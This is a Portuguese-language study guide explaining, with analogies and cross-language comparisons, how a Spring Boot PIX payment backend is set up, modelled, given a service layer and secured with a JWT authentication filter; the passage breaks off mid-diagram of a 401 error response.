A Fase 01 e a construcao do predio: terreno comprado (projeto criado), fundacao feita (banco de dados), paredes levantadas (estrutura de pacotes), eletrica e hidraulica instaladas (configs de Kafka, Security, Swagger), e endereco registrado (Docker, portas expostas). Ainda nao tem moveis (entidades) nem moradores (servicos), mas a estrutura esta pronta para recebe-los.

Grupo 1: O Coracao da Aplicacao

PixHubApplication.java — O "main" do projeto
@SpringBootApplication  ← combina 3 coisas:
  @Configuration         → "esta classe tem configs"
  @EnableAutoConfiguration → "configure tudo automaticamente"
  @ComponentScan         → "escaneie todos os pacotes buscando @Service, @Controller..."

public static void main(String[] args) {
    SpringApplication.run(PixHubApplication.class, args);
    // 1. Cria o container de dependencias (ApplicationContext)
    // 2. Inicia o Tomcat embutido (servidor HTTP)
    // 3. Executa migrations Flyway (cria tabelas)
    // 4. Registra todos os beans (@Service, @Controller, @Repository)
}

Analogia: e a CHAVE DE IGNICAO do carro. Voce gira a chave (run),
o motor liga (Tomcat), o GPS atualiza (Flyway), os sistemas
de seguranca ativam (Spring Security).
pom.xml — Lista de dependencias (igual package.json do Node)
O que contem:
  groupId/artifactId/version → identidade unica do projeto
  parent: spring-boot-starter-parent → herda configs padrao do Spring
  properties: versoes centralizadas (jjwt, testcontainers, etc)
  dependencies: todas as bibliotecas que o projeto usa
  plugins: ferramentas de build (compiler, jacoco, spring-boot-maven)

Dependencias principais:
  spring-boot-starter-web        → servidor HTTP + REST + JSON
  spring-boot-starter-data-jpa   → ORM (Java ↔ banco de dados)
  spring-boot-starter-security   → autenticacao e autorizacao
  spring-boot-starter-validation → validacao de campos (@NotBlank...)
  spring-boot-starter-actuator   → monitoramento (/health, /metrics)
  spring-kafka                   → mensageria assincrona
  postgresql                     → driver do banco
  flyway-core                    → migrations versionadas
  lombok                         → reduz codigo repetitivo
  jjwt-api/impl/jackson          → tokens JWT
  springdoc-openapi              → documentacao Swagger automatica

Grupo 2: Configuracoes por Ambiente (Profiles)

4 arquivos YML — cada ambiente tem suas configs
application.yml          → configs COMPARTILHADAS (todos os ambientes)
                            jpa.ddl-auto: validate
                            flyway.enabled: true
                            swagger, actuator

application-dev.yml      → DESENVOLVIMENTO LOCAL (Docker Compose)
                            postgres: localhost:5432
                            kafka: localhost:9092
                            show-sql: true (debug)

application-test.yml     → TESTES AUTOMATIZADOS (Testcontainers)
                            banco e kafka criados automaticamente
                            em containers descartaveis

application-prod.yml     → PRODUCAO (variaveis de ambiente)
                            urls vindas de env vars (${DATABASE_URL})
                            show-sql: false (seguranca)
                            logs minimos

Spring ativa o profile certo assim:
  dev:  padrao (spring.profiles.active=dev)
  test: automatico quando roda mvn test
  prod: SPRING_PROFILES_ACTIVE=prod (env var no deploy)

Grupo 3: Configuracoes Java (@Configuration)

SecurityConfig, KafkaConfig, OpenApiConfig
SecurityConfig.java:
  → SecurityFilterChain: define quem acessa o que
  → CSRF desabilitado (API stateless)
  → Sessao STATELESS (cada request traz JWT)
  → PasswordEncoder (BCrypt) — adicionado na Fase 03

KafkaConfig.java:
  → Cria topico "pix-transactions" (3 particoes)
  → Cria topico "pix-notifications" (3 particoes)
  → auto.create.topics=false (topicos so criados explicitamente)

OpenApiConfig.java:
  → Titulo, versao, descricao da API no Swagger
  → Botao "Authorize" para testar com JWT
  → Acessivel em /swagger-ui.html

Grupo 4: Infraestrutura

docker-compose.yml, Dockerfile, V1__create_schema.sql
docker-compose.yml:
  → PostgreSQL 16 (porta 5432): banco de dados
  → Kafka 3.8 KRaft (porta 9092): mensageria
  → Kafka UI (porta 8090): interface visual
  → Volumes nomeados: dados persistem entre restarts
  → Healthcheck: Docker sabe quando o Postgres esta pronto

Dockerfile:
  → Multi-stage build: primeiro compila, depois cria imagem leve
  → Resultado: imagem de producao sem codigo-fonte

V1__create_schema.sql:
  → CREATE EXTENSION uuid-ossp (habilita UUID no Postgres)
  → Primeira migration — Flyway registra que ja rodou
  → REGRA: migrations ja executadas NUNCA sao alteradas
Analogia

Se o projeto fosse um restaurante: o pom.xml e a lista de compras (ingredientes/dependencias). O docker-compose e a planta do predio (cozinha = Postgres, salao = Kafka, balcao = Kafka UI). Os application-*.yml sao os cardapios diferentes para almoco (dev), degustacao (test) e jantar (prod). O PixHubApplication.java e a chave que abre o restaurante de manha.

Logicas UNIVERSAIS (funcionam em qualquer linguagem)

Conceitos portateis da Fase 01
CONCEITO                  JAVA (nosso projeto)      NODE.JS                   PYTHON
──────────                ────────────────          ────────                  ──────
Gerenciador de deps       pom.xml (Maven)           package.json (npm)        requirements.txt (pip)
Containerizacao           Dockerfile                Dockerfile                Dockerfile
Orquestracao              docker-compose.yml        docker-compose.yml        docker-compose.yml
Configs por ambiente      application-{profile}.yml .env + dotenv             settings.py + env
Migrations de banco       Flyway (V1__*.sql)        Prisma Migrate            Alembic
Documentacao de API       Swagger/OpenAPI           Swagger (swagger-jsdoc)   FastAPI (automatico!)
Tratamento de erros       GlobalExceptionHandler    Error middleware           Exception handler
Health check              /actuator/health          Custom /health endpoint   Custom /health endpoint
Mensageria                Kafka (spring-kafka)      Kafka (kafkajs)           Kafka (confluent-kafka)

Logicas ESPECIFICAS do Java/Spring

Coisas que so Java faz assim
ESPECIFICO                              COMO OUTRAS LINGUAGENS RESOLVEM
────────────                            ────────────────────────────────
@SpringBootApplication                  Node: nao tem equivalente — voce
(auto-configuracao magica)              configura Express manualmente

@Configuration + @Bean                  Node: exporta objetos de config
(declarar beans no container)           Python: funcoes com @app.on_event

Profiles (dev/test/prod)                Node: NODE_ENV + .env files
integrados ao framework                 Python: DJANGO_SETTINGS_MODULE

Maven (pom.xml com XML verbose)         Node: package.json (JSON simples)
                                        Python: pyproject.toml / setup.py

Starters (spring-boot-starter-web)      Node: instala libs separadas
pacotes prontos com tudo incluso        (express + cors + body-parser...)

Tomcat embutido                         Node: nao precisa (runtime ja serve)
(servidor HTTP dentro do .jar)          Python: uvicorn/gunicorn separado
Analogia

A logica de setup e universal: todo projeto precisa de dependencias, banco de dados, configs por ambiente e documentacao. Java faz isso com XML e annotations, Node faz com JSON e imports, Python faz com decorators e YAML. E como montar um escritorio: todos precisam de mesa, cadeira e computador — so a marca muda.

O que a Fase 02 fez?

A Fase 02 criou o modelo de dados completo do sistema PIX. Se a Fase 01 foi "construir o predio", a Fase 02 foi "mobiliar todos os andares" — definir QUAIS informacoes existem no sistema e COMO elas se relacionam.

Mapa de entidades e relacionamentos

6 entidades + 1 classe base — como se conectam
                        BaseEntity (classe mae abstrata)
                        ├── id (UUID)
                        ├── createdAt
                        └── updatedAt
                            │
            ┌───────────────┼───────────────┬────────────────┬──────────────┐
            │               │               │                │              │
            ▼               ▼               ▼                ▼              ▼
        Account          PixKey        Transaction        QrCode       AuditLog
        (conta)       (chave PIX)    (transferencia)    (QR Code)     (auditoria)
            │               │               │                              │
            │    ┌──────────┘               │                              │
            │    │                          │                              │
            │    │ @ManyToOne               │ @ManyToOne (x2)              │
            │    │ "N chaves → 1 conta"     │ "sender → 1 conta"          │
            │    │                          │ "receiver → 1 conta"        │
            │    ▼                          ▼                              │
            └────┴──────────────────────────┘                              │
            Account e o CENTRO de tudo                                     │
            (toda operacao PIX passa por uma conta)                        │
                                                                           │
        WebhookConfig                                                      │
        (notificacao)                                                      │
            │                                                              │
            │ @ManyToOne                                                   │
            │ "N webhooks → 1 conta"                                       │
            └──────────► Account                                           │
                                                                           │
        AuditLog NAO tem FK — usa entityType + entityId (string)           │
        para referenciar QUALQUER entidade (polymorphic association) ◄─────┘

Os 25 arquivos da Fase 02

Organizacao por tipo
ENTIDADES (7 arquivos — os "moldes" dos dados):
  BaseEntity.java     → classe mae: id, createdAt, updatedAt
  Account.java        → conta bancaria: titular, saldo, status
  PixKey.java         → chave PIX: tipo, valor, conta dona
  Transaction.java    → transferencia: valor, remetente, destinatario
  QrCode.java         → QR Code PIX: estatico ou dinamico
  AuditLog.java       → registro de auditoria: quem fez o que
  WebhookConfig.java  → config de notificacao: URL, eventos, secret

ENUMS (9 arquivos — valores fixos permitidos):
  AccountType         → CHECKING, SAVINGS
  AccountStatus       → ACTIVE, INACTIVE, BLOCKED
  PixKeyType          → CPF, CNPJ, EMAIL, PHONE, RANDOM
  PixKeyStatus        → ACTIVE, INACTIVE
  TransactionStatus   → PENDING, PROCESSING, COMPLETED, FAILED, REFUNDED
  QrCodeType          → STATIC, DYNAMIC
  QrCodeStatus        → ACTIVE, EXPIRED, USED
  AuditAction         → CREATE, UPDATE, DELETE, STATUS_CHANGE
  WebhookStatus       → ACTIVE, INACTIVE

REPOSITORIES (6 arquivos — consultas prontas para cada entidade):
  AccountRepository, PixKeyRepository, TransactionRepository,
  QrCodeRepository, AuditLogRepository, WebhookConfigRepository

MIGRATIONS (6 arquivos — estrutura das tabelas no PostgreSQL):
  V2__create_account_table.sql
  V3__create_pix_key_table.sql
  V4__create_transaction_table.sql
  V5__create_qrcode_table.sql
  V6__create_audit_log_table.sql
  V7__create_webhook_config_table.sql

Impacto no projeto

O que a Fase 02 habilitou
SEM Fase 02:                              COM Fase 02:
❌ Nenhum dado pode ser salvo            ✅ 6 tabelas no banco de dados
❌ Nenhuma estrutura de dados            ✅ 7 entidades JPA mapeadas
❌ Sem saber quais dados existem         ✅ 9 enums definindo valores validos
❌ Sem consultas ao banco                ✅ 6 repositories com queries prontas
❌ Sem integridade de dados              ✅ FKs, constraints, indices
❌ Schema do banco e uma caixa vazia     ✅ Flyway aplica 6 migrations
Analogia

A Fase 02 e como definir a planta baixa de cada andar. Antes, o predio estava vazio. Agora cada andar tem suas salas definidas: andar de contas, andar de chaves PIX, andar de transacoes. Cada sala tem portas que conectam a outras (FKs) e regras de acesso (constraints). Os repositories sao os elevadores que levam voce direto ao andar certo.

BaseEntity — A classe mae

BaseEntity.java — 3 campos herdados por TODAS as entidades
@MappedSuperclass  ← "NAO crie tabela para mim, so copie meus campos para os filhos"
public abstract class BaseEntity {
    @Id @GeneratedValue(strategy = UUID)
    private UUID id;                      // chave primaria unica

    @Column(updatable = false)
    private LocalDateTime createdAt;      // quando foi criado (imutavel)

    private LocalDateTime updatedAt;      // ultima atualizacao

    @PrePersist  → executado antes do INSERT
    @PreUpdate   → executado antes do UPDATE
}

Sem BaseEntity, repetiriamos id/createdAt/updatedAt em CADA entidade.
Com 7 entidades, sao 21 campos duplicados evitados.

Account — O centro do sistema

Account.java — conta bancaria
Campos:
  holderName      → nome do titular (VARCHAR 120)
  holderDocument  → CPF ou CNPJ (VARCHAR 14, so digitos)
  bankCode        → codigo ISPB do banco (ex: "20018183" = Nubank)
  branch          → agencia (VARCHAR 4)
  accountNumber   → numero da conta (VARCHAR 10)
  accountType     → CHECKING ou SAVINGS (enum)
  balance         → saldo (BigDecimal — NUNCA Double para dinheiro)
  status          → ACTIVE, INACTIVE ou BLOCKED (enum)

Decisoes de design:
  • BigDecimal em vez de Double: 0.1 + 0.2 = 0.30000000000000004 com Double!
  • holderDocument sem UNIQUE: uma pessoa pode ter varias contas
  • Indices em holderDocument e (bankCode, branch, accountNumber)

PixKey — Chave PIX

PixKey.java — o "apelido" da conta
Campos:
  keyType    → CPF, CNPJ, EMAIL, PHONE ou RANDOM
  keyValue   → o valor da chave (UNIQUE em todo o sistema!)
  account    → @ManyToOne: N chaves pertencem a 1 conta
  status     → ACTIVE ou INACTIVE (soft delete)

Regras reais do BACEN:
  • Max 5 chaves por conta PF, 20 por PJ
  • Uma chave e UNICA no Brasil inteiro
  • Chave pode ser transferida entre bancos (portabilidade)

Transaction — Transferencia PIX

Transaction.java — a entidade mais complexa
Campos:
  endToEndId      → ID unico no ecossistema PIX do Brasil (recibo)
  amount          → valor da transferencia (BigDecimal)
  senderAccount   → @ManyToOne: conta que ENVIA (debita)
  receiverAccount → @ManyToOne: conta que RECEBE (credita)
  receiverPixKey  → chave PIX usada (String, NAO FK — historico)
  status          → PENDING → PROCESSING → COMPLETED/FAILED
  idempotencyKey  → evita cobranca duplicada (CRITICO!)
  failureReason   → motivo da falha, se houver

Maquina de estados:
  PENDING → PROCESSING → COMPLETED  (caminho feliz)
  PENDING → PROCESSING → FAILED     (erro: saldo insuficiente, etc)
  COMPLETED → REFUNDED              (estorno)

Idempotencia explicada:
  Cliente clica "Pagar" 2x por lag. Ambas chegam com mesma idempotencyKey.
  Sistema detecta duplicata → retorna transacao existente em vez de cobrar 2x.
  Toda API financeira seria (Stripe, BACEN) exige isso.

QrCode, AuditLog e WebhookConfig

As 3 entidades de suporte
QrCode.java:
  → STATIC: QR fixo sem valor (barraquinha de acai)
  → DYNAMIC: QR com valor e prazo (cobranca especifica)
  → payload: string codificada no padrao BRCode do BACEN

AuditLog.java:
  → Registra TODA operacao que modifica dados
  → entityType + entityId: referencia QUALQUER entidade
  → oldValue/newValue: snapshots JSON do antes e depois
  → Em fintech, o BACEN pode pedir logs a qualquer momento

WebhookConfig.java:
  → URL que recebe notificacoes via POST
  → events: quais eventos ativam ("TRANSACTION_COMPLETED,...")
  → secret: chave HMAC para verificar autenticidade
Analogia

Cada entidade e um formulario padrao do banco: Account e o formulario de abertura de conta. PixKey e o formulario de registro de chave. Transaction e o comprovante de transferencia. QrCode e a maquininha de cobranca. AuditLog e o livro de registros da auditoria. WebhookConfig e o numero do celular onde voce quer receber avisos.

Logicas UNIVERSAIS da Fase 02

Conceitos que funcionam em qualquer linguagem
CONCEITO                  JAVA                    NODE.JS                  PYTHON
──────────                ────                    ───────                  ──────
Entidades/Modelos         @Entity classes         Prisma schema/Models     SQLAlchemy Models
Classe base herdada       @MappedSuperclass       Classe base JS/TS       Mixin ou base class
Enums                     enum Java               enum TypeScript          Enum Python
Relacionamento N:1        @ManyToOne              Prisma relations         relationship()
Chave primaria UUID       @GeneratedValue(UUID)   @id @default(uuid())    Column(UUID, default=)
Indice unico              @UniqueConstraint       @@unique                UniqueConstraint
Soft delete               status + deactivatedAt  deletedAt field          is_active flag
BigDecimal (dinheiro)     BigDecimal              Decimal.js               Decimal (decimal module)
Migrations versionadas    Flyway (SQL puro)       Prisma Migrate           Alembic
Idempotencia              idempotencyKey UNIQUE   idempotencyKey UNIQUE    idempotency_key UNIQUE
Audit log polimorfico     entityType + entityId   entityType + entityId    content_type + object_id

Logicas ESPECIFICAS do Java

O que so Java faz assim
ESPECIFICO                              COMO OUTRAS LINGUAGENS RESOLVEM
────────────                            ────────────────────────────────
@Entity + @Table + @Column              Prisma: schema.prisma (DSL propria)
(mapeamento ORM por annotations)        Python: class Meta no Model

@MappedSuperclass                       Node/Python: heranca normal de classe
(heranca JPA especial)                  (sem annotation especial)

@PrePersist / @PreUpdate                Prisma: middleware
(lifecycle callbacks por annotation)    SQLAlchemy: event.listen()

JpaRepository<Entity, UUID>             Prisma: prisma.account.findUnique()
(interface gera queries automaticamente) SQLAlchemy: session.query()

Bean Validation (@NotBlank, @Size)      Zod/Joi (runtime validation)
(validacao declarativa)                 Pydantic (Field(min_length=...))

Lombok (@Getter, @Setter, @Builder)     Node: nao precisa (JS e conciso)
(gera codigo repetitivo)                Python: @dataclass ou attrs

FetchType.LAZY                          Prisma: include (explicito)
(controle de carregamento de relacoes)  SQLAlchemy: lazy="select"

Destaque: por que BigDecimal e nao Double?

Esse problema existe em TODAS as linguagens
// JAVA:
double x = 0.1 + 0.2;        // 0.30000000000000004 ← ERRADO!
BigDecimal y = new BigDecimal("0.1").add(new BigDecimal("0.2")); // 0.3 ← CERTO

// NODE.JS:
let x = 0.1 + 0.2;           // 0.30000000000000004 ← ERRADO!
// Solucao: Decimal.js ou multiplicar por 100 (trabalhar em centavos)

// PYTHON:
x = 0.1 + 0.2                # 0.30000000000000004 ← ERRADO!
from decimal import Decimal
y = Decimal('0.1') + Decimal('0.2')  # 0.3 ← CERTO

Regra universal: NUNCA use ponto flutuante para dinheiro.
Use Decimal/BigDecimal ou trabalhe em centavos (inteiros).
Analogia

Modelar dados e como desenhar a planta de um hospital: todo hospital do mundo precisa de salas de cirurgia, leitos e recepcao (conceitos universais). Mas as normas de construcao mudam por pais (Java usa annotations, Node usa schemas, Python usa decorators). O resultado final e o mesmo: um lugar organizado onde cada coisa tem seu lugar e as salas se conectam com corredores (FKs).

O que a camada de servico fez?

As Fases 01 e 02 criaram a estrutura (predio) e os modelos (moveis). A camada de servico trouxe a logica de negocio — as regras que fazem o sistema FUNCIONAR. E o "gerente" que decide: "pode criar essa conta?", "o CPF e valido?", "a conta esta bloqueada?"

Mapa de arquivos e como se conectam

18 arquivos — fluxo completo de uma requisicao
Frontend (curl ou React)
    │
    │ POST /api/v1/accounts {"holderName":"Riel",...}
    ▼
AccountController.java          ← GARCOM: recebe pedido, repassa
    │
    │ @Valid valida o DTO
    ▼
CreateAccountRequest.java       ← FORMULARIO: so campos permitidos
    │                              (@NotBlank, @Size, @Pattern)
    │ se validacao falhar → MethodArgumentNotValidException
    │                       → GlobalExceptionHandler → 400
    ▼
AccountService.java             ← CEREBRO: toda logica de negocio
    │
    ├──► DocumentValidator.java    ← valida CPF/CNPJ (algoritmo modulo 11)
    │    se invalido → BusinessRuleViolationException → 422
    │
    ├──► AccountRepository         ← verifica se conta ja existe
    │    se duplicada → ResourceAlreadyExistsException → 409
    │
    ├──► AccountMapper.java        ← converte Request → Entity
    │
    ├──► AccountRepository.save()  ← salva no banco
    │
    ├──► AuditService.java         ← registra no audit log
    │    └──► AuditLogRepository   ← salva audit no banco
    │
    ├──► AccountMapper.java        ← converte Entity → Response
    │
    └──► AccountResponse.java      ← DTO de saida (so campos seguros)
              │
              ▼
         JSON de volta para o frontend (201 Created)

EXCECOES (hierarquia):
  BusinessException (mae)
    ├── ResourceNotFoundException (404)
    ├── ResourceAlreadyExistsException (409)
    ├── BusinessRuleViolationException (422)
    ├── InsufficientBalanceException (422)
    ├── AccountBlockedException (403)
    └── IdempotencyConflictException (200)

  GlobalExceptionHandler captura TODAS automaticamente
  e retorna ErrorResponse padronizado

Os 7 endpoints do AccountController

CRUD completo + acoes de status
POST   /api/v1/accounts              → criar conta (201)
GET    /api/v1/accounts/{id}         → buscar por ID (200)
GET    /api/v1/accounts/by-document/ → buscar por CPF/CNPJ (200)
PUT    /api/v1/accounts/{id}         → atualizar dados (200)
PATCH  /api/v1/accounts/{id}/block   → bloquear conta (200)
PATCH  /api/v1/accounts/{id}/unblock → desbloquear conta (200)
DELETE /api/v1/accounts/{id}         → desativar — soft delete (204)

Impacto no projeto

O que a Camada de Servico habilitou
SEM Camada de Servico:                   COM Camada de Servico:
❌ Dados existem mas ninguem os usa    ✅ 7 endpoints REST funcionando
❌ Sem validacao de CPF/CNPJ           ✅ Validacao algoritmica (modulo 11)
❌ Sem regras de negocio               ✅ Bloqueio de conta, duplicidade, etc
❌ Entity exposta direto na API        ✅ DTOs filtram entrada e saida
❌ Sem rastreamento de operacoes       ✅ AuditService registra tudo
❌ Erros retornam stack trace Java     ✅ Erros padronizados (ErrorResponse)
❌ Cada erro tratado diferente         ✅ Hierarquia de excecoes + handler
Analogia

A camada de servico transformou o predio vazio num banco funcionando. O Controller e o caixa do banco (atende o cliente). O Service e o gerente (toma decisoes). O Mapper e o formulario (traduz pedido do cliente para linguagem interna). O Repository e o cofre (guarda e busca dados). O AuditService e a camera de seguranca (registra tudo). O ExceptionHandler e o SAC (quando algo da errado, responde educadamente).

Logicas UNIVERSAIS da Camada de Servico

Conceitos portateis — funcionam em qualquer linguagem
CONCEITO                    JAVA                     NODE.JS                 PYTHON
──────────                  ────                     ───────                 ──────
Controller/Router           @RestController          express.Router()        @app.post()
Service layer               @Service class           service module          service class
DTOs (Request/Response)     Classes tipadas           Interfaces TS/Zod      Pydantic models
Mapper (Entity↔DTO)        Classe com metodos static Funcao mapToResponse()  Schema .from_orm()
Validacao de entrada        @Valid + @NotBlank        Zod .parse() / Joi     @validator (Pydantic)
Validacao de CPF/CNPJ       Classe DocumentValidator  cpf-cnpj-validator     validate-docbr
Tratamento global de erros  @RestControllerAdvice     app.use(errorHandler)  @app.exception_handler
Hierarquia de excecoes      extends BusinessException extends AppError        class AppError(Exception)
Audit trail                 AuditService              audit middleware        audit mixin
Soft delete                 status = INACTIVE         deletedAt timestamp     is_active = False
HTTP status corretos        201, 204, 400, 404, 409   Mesmos codigos HTTP     Mesmos codigos HTTP
Transacoes atomicas         @Transactional            prisma.$transaction    session.begin()

Logicas ESPECIFICAS do Java

O que so Java faz assim
ESPECIFICO                               COMO OUTRAS LINGUAGENS RESOLVEM
────────────                             ────────────────────────────────
@Valid no parametro do Controller        Node: middleware de validacao
(validacao antes de entrar no metodo)    Python: Pydantic valida automatico

@RestControllerAdvice                    Node: app.use((err, req, res, next))
(intercepta excecoes de TODOS os          (middleware manual no final)
 controllers automaticamente)            Python: @app.exception_handler()

@Transactional na classe                 Node: precisa chamar explicitamente
(Spring aplica em todo metodo)             prisma.$transaction(async (tx) => ...)
                                         Python: with session.begin():

ResponseEntity<T>                        Node: res.status(201).json(data)
(tipagem forte na resposta HTTP)         Python: return JSONResponse(data, 201)

Constructor Injection                    Node: importa e usa direto
(Spring injeta dependencias)             Python: Depends() no FastAPI

ObjectMapper (Jackson)                   Node: JSON.stringify() nativo!
(converte Java → JSON)                   Python: json.dumps() nativo!

Exemplo comparado: criar conta em 3 linguagens

Java (nosso AccountService)
public AccountResponse createAccount(CreateAccountRequest request) {
    if (!DocumentValidator.isValidDocument(request.getHolderDocument()))
        throw new BusinessRuleViolationException("Documento invalido");
    if (accountRepository.existsByHolderDocumentAndBankCode(...))
        throw new ResourceAlreadyExistsException("Ja existe conta");
    Account account = AccountMapper.toEntity(request);
    Account saved = accountRepository.save(account);
    auditService.logCreate("Account", saved.getId().toString(), "system", saved);
    return AccountMapper.toResponse(saved);
}
Node.js (Express + Prisma)
async function createAccount(request: CreateAccountRequest) {
    if (!isValidDocument(request.holderDocument))
        throw new BusinessRuleError("Documento invalido");
    const exists = await prisma.account.findFirst({where: {...}});
    if (exists) throw new AlreadyExistsError("Ja existe conta");
    const saved = await prisma.account.create({data: request});
    await auditService.logCreate("Account", saved.id, "system", saved);
    return toResponse(saved);
}
Python (FastAPI + SQLAlchemy)
def create_account(request: CreateAccountRequest, db: Session):
    if not is_valid_document(request.holder_document):
        raise BusinessRuleError("Documento invalido")
    exists = db.query(Account).filter_by(holder_document=...).first()
    if exists: raise AlreadyExistsError("Ja existe conta")
    account = Account(**request.dict())
    db.add(account); db.commit(); db.refresh(account)
    audit_service.log_create("Account", str(account.id), "system", account)
    return AccountResponse.from_orm(account)

A logica e identica nas 3 linguagens: validar documento, verificar duplicidade, salvar, auditar, converter para resposta. A sintaxe e diferente, mas o raciocinio e o mesmo. Isso significa que tudo que voce esta aprendendo neste projeto Java serve para qualquer stack.

Analogia

A logica de negocio e como uma receita de bolo: "misture farinha, acucar e ovos; bata por 5 minutos; leve ao forno a 180°C". A receita funciona em qualquer cozinha do mundo (Java, Node, Python). O que muda e o fogao (framework), a marca da farinha (biblioteca) e o idioma em que a receita esta escrita (sintaxe). O bolo sai igual.

O problema que este passo resolve

Ate o passo 3.2, o sistema sabia criar tokens (login/register), mas nao verificava os tokens nas requisicoes seguintes. Imagine que voce montou uma portaria moderna com uma maquina de imprimir crachas (JwtService) e uma recepcao onde as pessoas se identificam (AuthController). A maquina funciona perfeitamente — imprime crachas com nome, cargo, e data de validade.

Porem... nao existe catraca em lugar nenhum do predio. Qualquer pessoa entra em qualquer andar, com ou sem cracha. O cracha existe, mas ninguem pede para ve-lo. Era exatamente isso que acontecia: o endpoint POST /auth/login devolvia um JWT, mas os endpoints GET /api/v1/accounts aceitavam qualquer request — com ou sem token.

O passo 3.3 instalou a catraca: agora toda requisicao HTTP passa por um filtro que verifica se ha um JWT valido. Se o endpoint exige autenticacao e a request nao tem token (ou o token e invalido), o sistema recusa com 401 Unauthorized.

Antes vs Depois — o impacto concreto
  ANTES (passo 3.2):                        DEPOIS (passo 3.3):
  ──────────────────                        ──────────────────

  SecurityConfig:                           SecurityConfig:
    /api/** → permitAll()                     /api/v1/auth/** → permitAll()
    (TODOS os endpoints abertos)              anyRequest() → authenticated()
                                              (so publico o que deve ser)

  Sem CORS configurado:                     CORS configurado:
    React nao consegue chamar a API           React (porta 5173) acessa normalmente

  Erro 401 = HTML generico:                 Erro 401 = JSON padronizado:
    <html><h1>Whitelabel Error</h1>...      {"status":401, "message":"..."}
    (frontend nao consegue parsear)          (frontend trata facilmente)

  Teste pratico:                            Teste pratico:
    curl /api/v1/accounts → 200 ✅           curl /api/v1/accounts → 401 ❌
    (qualquer um acessa!)                    curl -H "Authorization:
                                               Bearer eyJ..." /api/v1/accounts → 200 ✅
                                             (so com cracha valido!)

Os 3 arquivos criados/alterados e seus papeis

Este passo criou 2 arquivos novos e atualizou 1 existente. Cada um tem uma responsabilidade clara no sistema de seguranca:

Os 3 arquivos e o que cada um faz
┌─────────────────────────────────────────────────────────────────────────┐
│  ARQUIVO                          │  PAPEL            │  ANALOGIA      │
├───────────────────────────────────┼───────────────────┼────────────────┤
│  JwtAuthenticationFilter.java     │  A CATRACA        │  Verifica o    │
│  (NOVO)                           │  Intercepta TODA  │  cracha de     │
│  config/                          │  request HTTP e   │  cada pessoa   │
│                                   │  valida o JWT     │  que entra     │
├───────────────────────────────────┼───────────────────┼────────────────┤
│  JwtAuthenticationEntryPoint.java │  O AVISO          │  A placa que   │
│  (NOVO)                           │  Quando alguem    │  diz "acesso   │
│  config/                          │  e barrado, diz   │  negado, va    │
│                                   │  POR QUE em JSON  │  a recepcao"   │
├───────────────────────────────────┼───────────────────┼────────────────┤
│  SecurityConfig.java              │  O MANUAL DE      │  O documento   │
│  (ATUALIZADO)                     │  SEGURANCA        │  que define    │
│  config/                          │  Define regras,   │  as regras do  │
│                                   │  registra filtros │  predio        │
└─────────────────────────────────────────────────────────────────────────┘

A Cadeia de Filtros — o caminho que cada request percorre

No Spring Security, cada requisicao HTTP passa por uma cadeia de filtros (filter chain) — uma sequencia de verificacoes, uma atras da outra. E como um aeroporto: voce passa pelo detector de metais, depois pela checagem de passaporte, depois pelo raio-X da mala, e so DEPOIS chega ao portao de embarque. Se reprovar em qualquer etapa, voce e barrado ali mesmo.

Cadeia de filtros — a jornada completa de uma request
  Request HTTP do frontend (React)
    │
    │  GET /api/v1/accounts
    │  Headers: { Authorization: "Bearer eyJhbGciOi...", Content-Type: "application/json" }
    │
    ▼
  ┌─── FILTRO 1: CORS ─────────────────────────────────────────────────────┐
  │  "De onde vem essa request?"                                           │
  │                                                                        │
  │  → http://localhost:5173 (React)?  ✅ Origem permitida, pode passar   │
  │  → http://site-malicioso.com?      ❌ Origem nao permitida, BLOQUEADO │
  │                                                                        │
  │  Configurado em: SecurityConfig.corsConfigurationSource()              │
  │  Nota: so afeta NAVEGADORES. curl/Postman nao passam por aqui.        │
  └────────────────────────────────────────────────────────────────────────┘
    │ passou ✅
    ▼
  ┌─── FILTRO 2: CSRF (desabilitado) ──────────────────────────────────────┐
  │  CSRF protege contra ataques via formularios HTML usando cookies.      │
  │  Desabilitamos porque: API REST stateless usa JWT, nao cookies.       │
  │  Se usassemos cookies de sessao, CSRF seria OBRIGATORIO.              │
  └────────────────────────────────────────────────────────────────────────┘
    │ passou ✅ (sempre passa — esta desabilitado)
    ▼
  ┌─── FILTRO 3: JwtAuthenticationFilter (NOSSO — passo 3.3) ─────────────┐
  │  "Tem token no header Authorization? E valido? E do tipo access?"      │
  │                                                                        │
  │  Cenario A — SEM token:                                                │
  │    → Nao autentica, mas NAO bloqueia. Passa adiante.                  │
  │    → O proximo filtro decidira se o endpoint exige autenticacao.       │
  │                                                                        │
  │  Cenario B — Token INVALIDO (expirado, assinatura errada):            │
  │    → Mesmo comportamento: nao autentica, passa adiante.               │
  │    → Nosso filtro NUNCA retorna 401 diretamente.                      │
  │                                                                        │
  │  Cenario C — Token VALIDO do tipo "access":                           │
  │    → Extrai email e role dos claims do JWT                             │
  │    → Cria autenticacao no SecurityContext                              │
  │    → Request agora e "autenticada" — tem identidade                   │
  │                                                                        │
  │  Cenario D — Token valido do tipo "refresh":                          │
  │    → IGNORA. Refresh tokens so servem para POST /auth/refresh.        │
  │    → Impede ataque: usar refresh token para acessar APIs protegidas   │
  │                                                                        │
  │  Arquivo: config/JwtAuthenticationFilter.java                          │
  │  Usa: service/JwtService.java (do passo 3.2) para validar o token    │
  └────────────────────────────────────────────────────────────────────────┘
    │ passou ✅ (sempre passa — filtro nunca bloqueia diretamente)
    ▼
  ┌─── FILTRO 4: AuthorizationFilter (automatico do Spring Security) ──────┐
  │  "Esse endpoint exige autenticacao? A request esta autenticada?"       │
  │                                                                        │
  │  Regras definidas no SecurityConfig:                                   │
  │    /api/v1/auth/**   → permitAll()   → qualquer um acessa            │
  │    /actuator/**      → permitAll()   → health checks (Docker)        │
  │    /swagger-ui/**    → permitAll()   → documentacao da API           │
  │    /v3/api-docs/**   → permitAll()   → specs OpenAPI                 │
  │    QUALQUER OUTRO    → authenticated() → precisa de JWT valido        │
  │                                                                        │
  │  Se o endpoint exige autenticacao E a request NAO esta autenticada:   │
  │    → Chama o JwtAuthenticationEntryPoint (proximo filtro)              │
  │                                                                        │
  │  Se o endpoint e publico OU a request esta autenticada:               │
  │    → Continua para o Controller ✅                                    │
  └────────────────────────────────────────────────────────────────────────┘
    │
    ├── BARRADO? (endpoint protegido + sem autenticacao)
    │   ▼
    │ ┌─── FILTRO 5: JwtAuthenticationEntryPoint (passo 3.3) ─────────────┐
    │ │  "Acesso negado. Vou explicar o por que em JSON padronizado."      │
    │ │                                                                    │
    │ │  Resposta:                                                         │
    │ │  HTTP 401 Unauthorized                                             │
    │ │  Content-Type: application/json                                    │
    │ │  {                                                                 │
    │ │    "timestamp": "2026-03-21T12:30:00",                             │
